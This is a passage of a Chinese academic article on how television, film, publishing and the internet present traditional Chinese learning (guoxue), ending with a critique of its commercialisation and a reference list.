嫁接脫口秀等新形式出現在創新綜藝節目中。2011年伊始，湖南衛視推出了中國第一檔姓氏文化深度解讀節目――《非?？孔V》，該節目邀請于丹、紀連海等十幾位觀眾喜聞樂見的專家、學者組成“擺譜團”，通過“姓名堂”、“最姓我”、“全家?！比蠊澞堪鍓K，以姓氏為包裝，展示百家姓中家族的傳奇故事、家族絕活與家族杰出人才。較之電視講壇類型節目，《非?？孔V》邀請明星與名人參與現場互動與點評，增加了節目的趣味性與互動性。此外，該節目由娛樂主持大哥汪涵擔綱主持，增加了看點?！斗浅？孔V》采用當下更為時尚、新潮的脫口秀互動形式解讀中國傳統文化中較為冷門的姓氏、家族文化，以“百姓主題、群英擺譜”的方式，為觀眾呈現了一道高端文化大餐。

另外，湖南衛視以脫口秀形式打造的《百科全說》，將中國經典中醫養生知識嫁接于輕松搞笑的綜藝節目，使觀眾在開懷一笑間了解到中國傳統文化知識。還有《天天向上》中的夫子國學也在寓教于樂、雅俗共賞中塑造了國學形象。

電視劇、電影翻拍經典著作。近幾年來，電視劇、電影行業對傳統文化領域的選題呈上升趨勢，2005年《漢武大帝》中展示的漢文化帶動了一陣“漢學熱”，2007年，國人掀起了翻拍四大名著的熱潮，《西游記》、《三國演義》、《水滸傳》、《紅樓夢》在新時代的光影技術下再次演繹視覺盛宴，2007年《貞觀長歌》再現大唐盛世。在電影方面，以打響2009年賀歲檔第一炮的《花木蘭》為例，該影片重新打造國學經典中婦孺皆知的典型形象花木蘭，用木蘭女扮男裝代父從軍的感人本土傳奇喚起國人心中的深厚民族情結。這部古裝傳奇巨著上映后，在獲得過億的票房佳績的同時，也弘揚了中國的傳統文化。2010年3月21日，《花木蘭》還同《赤壁》、《建國大業》等逾百部中國優秀電影當選《電影看中國》系列產品，作為歷史中國的部分展示中國形象。根據墨子“兼愛”、“非攻”、“尚賢”思想改編的影片《墨攻》、根據梅蘭芳先生一生藝術之旅改編的《梅蘭芳》、戲說趙云的《三國志之見龍卸甲》等傳統國學中的經典題材也陸續被搬上銀幕。

平面媒體適時出版同類題材相關讀物。借助《百家講壇》的東風，中華書局、中國民主法制出版社整理于丹講稿，適時出版了《于丹〈論語〉心得》、《于丹〈論語〉感悟》、《于丹〈莊子〉心得》，2008年于丹和孔健的《論語力》也由新世界出版社出版，“于丹熱”向人們席卷而來。2007年“全國優秀暢銷書排行榜”上，《于丹〈論語〉心得》、《于丹〈莊子〉心得》、《品三國(下)》高居排行榜前三名。①通俗易懂的白話語言代替了艱深難懂的文言文，大大增加了讀者的閱讀興趣，使得幾千年前的經典讀物在現代視角的重新解讀下有了普適性的意義。

國學形象借助網絡、移動多媒體廣播電視等新興傳播媒介形式出現。2006年，百度開設全球首個國學頻道，免費為廣大網友提供國學相關信息的特色搜索服務，提供高品質的古代文化典籍在線搜索及閱讀功能，千年傳統與時尚完美結合；新浪網則高調推出乾元國學博客，交換學習國學心得感悟。

五種國學形象媒介傳播方式的特點

各種媒介相互策動，使得國學形象的媒介傳播方式日益多元化。在飛速發展的傳媒時代，媒介資源呈現出豐富化的特征，新舊媒介交織，媒介功能日益融合。在國學形象呈現的過程中，既有傳統上的平面媒體、地上波廣播電視，也有衛星廣播電視、電子出版物以及互聯網絡等新型傳播媒介。多種媒介傳播方式為國學形象的呈現提供了多元渠道。

借助多種媒介傳播方式，國學普及呈現“大眾化”、“通俗化”。由于年代久遠，傳統國學形象在大眾心中多是抽象的意象，給人以艱澀冰冷的陌生感，而經過現代媒介的全新解讀，拉近了傳統文化與平民百姓的距離，例如，《百家講壇》利用懸念化的圖片與文字配合講解，適時配有震撼人心的背景音樂，強大的視覺沖擊迎合了受眾的感官需要，使受眾置身其中，學者平白易懂的話語將經典大眾化、通俗化，“以白話詮釋經典，以經典詮釋智慧”。同時，一般人幾乎很少有機會深入大學聆聽專家講座，也不可能經常性閱讀專業性書籍，電視講座及其相關書籍等大眾傳播方式為大眾提供了這樣一條走進文化、走進傳統經典的便捷途徑。

傳統文化與時代意義相結合，賦予國學形象新的解讀視角與指導意義。任何時代的理論只有結合新的時代背景才能煥發出新的生機與活力，媒體呈現出的國學形象結合當代環境新特點，擁有了實際性的指導意義。在講述《論語?子路》中“君子和而不同”時，結合我國國情，于丹指出我們今天構建和諧社會，就是要把每一個人的不同聲音和諧地融入大的集體的聲音中去。專家學者站在新的時代高度，在總結國學理論精粹的基礎上，向受眾傳播新視角下的傳統文化與藝術。

大眾傳媒時代國學形象的媒介傳播方式，使得“國學熱”出現“暴力化”、“快餐化”、“商業化”的趨勢。我國正處于社會主義市場經濟階段，隨著市場經濟的發展、商業化程度的提高，文化與商品開始有機結合，文化越來越成為一種商品進行生產與消費。在市場化、商品化、利益化的過程中，傳播媒介也將中國傳統文化與藝術進行再生產、包裝、銷售，國學在大眾傳媒利益的驅使下，將抓住受眾眼球作為唯一目的，將國學內容扭曲化，傳播低俗、不健康、不道德的所謂“國學”內容，使國學變得日益“商業化”、“暴力化”。與此同時，在讀圖時代，快速的生活節奏使受眾往往沒有時間與精力處理爆炸式彌漫的信息，更不會耐下心來閱讀往往晦澀難懂的深奧知識，大眾傳播媒介將國學打包，變其“快餐化”、“視覺化”來滿足受眾對相關文化的需求。中國國學是中華民族通過數千年的積淀、詮釋、傳承下來的寶貴的精神財富，要想真正吸收其精髓，必須真正潛下心來，仔細揣摩研讀才可領悟，僅靠“暴力化”、“商業化”的“文化快餐”有時不僅不能得到純正的國學知識，甚至會形成錯誤的價值觀。這既要求受眾提升自己的分辨能力，也要求大眾傳媒在社會主義核心價值觀的引導下，加強自身媒介素養，堅守媒介應有的文化操守，真正為大眾提供一片解讀文化的凈土，弘揚中國優秀的傳統文化。

注 釋：

①2007年12月由國家新聞出版總署主管的《中國新聞出版報》。

參考文獻：

[1]黃保羅.從歐美視角看體現中國軟實力的“大國學”[J].中國社會科學報,2010-03-04(013).

[2].《國學季刊》發刊宣言[J].國學季刊，1923（2）.

[3]郭慶光.傳播學教程[M].北京：中國人民大學出版社，1999:157.

[4]鄧青，李敬一.論文化產品的產業化發展[J].新聞愛好者,2009（10）.

[5]D.J.切特羅姆.傳播媒介與美國人的思想[M].中國廣播電視出版社，1991：185.